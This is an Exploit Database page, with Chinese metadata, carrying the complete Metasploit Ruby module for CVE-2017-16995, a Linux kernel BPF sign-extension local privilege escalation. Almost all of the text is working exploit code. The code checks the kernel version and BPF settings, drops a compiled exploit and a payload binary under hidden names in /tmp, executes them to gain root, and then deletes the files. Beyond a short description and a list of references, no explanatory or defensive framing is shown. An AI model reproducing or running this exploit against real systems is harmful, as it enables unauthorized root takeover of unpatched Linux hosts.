Linux – BPF Sign Extension Local Privilege Escalation (Metasploit)

• Exploit Database
• 17 阅读

• 作者： Metasploit
  日期： 2018-07-19
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/45058/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking
  
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Linux BPF Sign Extension Local Privilege Escalation',
  'Description'=> %q{
  Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)
  which contains a vulnerability where it may improperly perform sign
  extension. This can be utilized to escalate privileges.
  
  The target system must be compiled with BPF support and must not have
  kernel.unprivileged_bpf_disabled set to 1.
  
  This module has been tested successfully on:
  
  Debian 9.0 kernel 4.9.0-3-amd64;
  Deepin 15.5 kernel 4.9.0-deepin13-amd64;
  ElementaryOS 0.4.1 kernel 4.8.0-52-generic;
  Fedora 25 kernel 4.8.6-300.fc25.x86_64;
  Fedora 26 kernel 4.11.8-300.fc26.x86_64;
  Fedora 27 kernel 4.13.9-300.fc27.x86_64;
  Gentoo 2.2 kernel 4.5.2-aufs-r;
  Linux Mint 17.3 kernel 4.4.0-89-generic;
  Linux Mint 18.0 kernel 4.8.0-58-generic;
  Linux Mint 18.3 kernel 4.13.0-16-generic;
  Mageia 6 kernel 4.9.35-desktop-1.mga6;
  Manjero 16.10 kernel 4.4.28-2-MANJARO;
  Solus 3 kernel 4.12.7-11.current;
  Ubuntu 14.04.1 kernel 4.4.0-89-generic;
  Ubuntu 16.04.2 kernel 4.8.0-45-generic;
  Ubuntu 16.04.3 kernel 4.10.0-28-generic;
  Ubuntu 17.04 kernel 4.10.0-19-generic;
  ZorinOS 12.1 kernel 4.8.0-39-generic.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Jann Horn', # Discovery
  'bleidl',# Discovery and get-rekt-linux-hardened.c exploit
  'vnik',# upstream44.c exploit
  'rlarabee',# cve-2017-16995.c exploit
  'h00die',# Metasploit
  'bcoles' # Metasploit
  ],
  'DisclosureDate' => 'Nov 12 2017',
  'Platform' => [ 'linux' ],
  'Arch' => [ ARCH_X86, ARCH_X64 ],
  'SessionTypes' => [ 'shell', 'meterpreter' ],
  'Targets'=> [[ 'Auto', {} ]],
  'Privileged' => true,
  'References' =>
  [
  [ 'AKA', 'get-rekt-linux-hardened.c' ],
  [ 'AKA', 'upstream44.c' ],
  [ 'BID', '102288' ],
  [ 'CVE', '2017-16995' ],
  [ 'EDB', '44298' ],
  [ 'EDB', '45010' ],
  [ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ],
  [ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ],
  [ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ],
  [ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ],
  [ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ],
  [ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ],
  [ 'URL', 'https://usn.ubuntu.com/3523-2/' ],
  [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ],
  [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ],
  [ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'],
  [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]
  ],
  'DefaultTarget'=> 0))
  register_options [
  OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
  OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
  ]
  end
  
  def base_dir
  datastore['WritableDir'].to_s
  end
  
  def upload(path, data)
  print_status "Writing '#{path}' (#{data.size} bytes) ..."
  rm_f path
  write_file path, data
  end
  
  def upload_and_chmodx(path, data)
  upload path, data
  cmd_exec "chmod +x '#{path}'"
  end
  
  def upload_and_compile(path, data)
  upload "#{path}.c", data
  
  gcc_cmd = "gcc -o #{path} #{path}.c"
  if session.type.eql? 'shell'
  gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
  end
  output = cmd_exec gcc_cmd
  rm_f "#{path}.c"
  
  unless output.blank?
  print_error output
  fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
  end
  
  cmd_exec "chmod +x #{path}"
  end
  
  def exploit_data(file)
  path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file
  fd = ::File.open path, 'rb'
  data = fd.read fd.stat.size
  fd.close
  data
  end
  
  def live_compile?
  return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
  
  if has_gcc?
  vprint_good 'gcc is installed'
  return true
  end
  
  unless datastore['COMPILE'].eql? 'Auto'
  fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
  end
  end
  
  def check
  arch = kernel_hardware
  unless arch.include? 'x86_64'
  vprint_error "System architecture #{arch} is not supported"
  return CheckCode::Safe
  end
  vprint_good "System architecture #{arch} is supported"
  
  if unprivileged_bpf_disabled?
  vprint_error 'Unprivileged BPF loading is not permitted'
  return CheckCode::Safe
  end
  vprint_good 'Unprivileged BPF loading is permitted'
  
  release = kernel_release
  if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') ||
   Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0')
  vprint_error "Kernel version #{release} is not vulnerable"
  return CheckCode::Safe
  end
  vprint_good "Kernel version #{release} appears to be vulnerable"
  
  CheckCode::Appears
  end
  
  def exploit
  unless check == CheckCode::Appears
  fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'
  end
  
  if is_root?
  fail_with Failure::BadConfig, 'Session already has root privileges'
  end
  
  unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
  fail_with Failure::BadConfig, "#{base_dir} is not writable"
  end
  
  # Upload exploit executable
  executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
  executable_path = "#{base_dir}/#{executable_name}"
  if live_compile?
  vprint_status 'Live compiling exploit on system...'
  upload_and_compile executable_path, exploit_data('exploit.c')
  else
  vprint_status 'Dropping pre-compiled exploit on system...'
  upload_and_chmodx executable_path, exploit_data('exploit.out')
  end
  
  # Upload payload executable
  payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
  upload_and_chmodx payload_path, generate_payload_exe
  
  # Launch exploit
  print_status 'Launching exploit ...'
  output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} "
  output.each_line { |line| vprint_status line.chomp }
  print_status "Cleaning up #{payload_path} and #{executable_path} ..."
  rm_f executable_path
  rm_f payload_path
  end
  end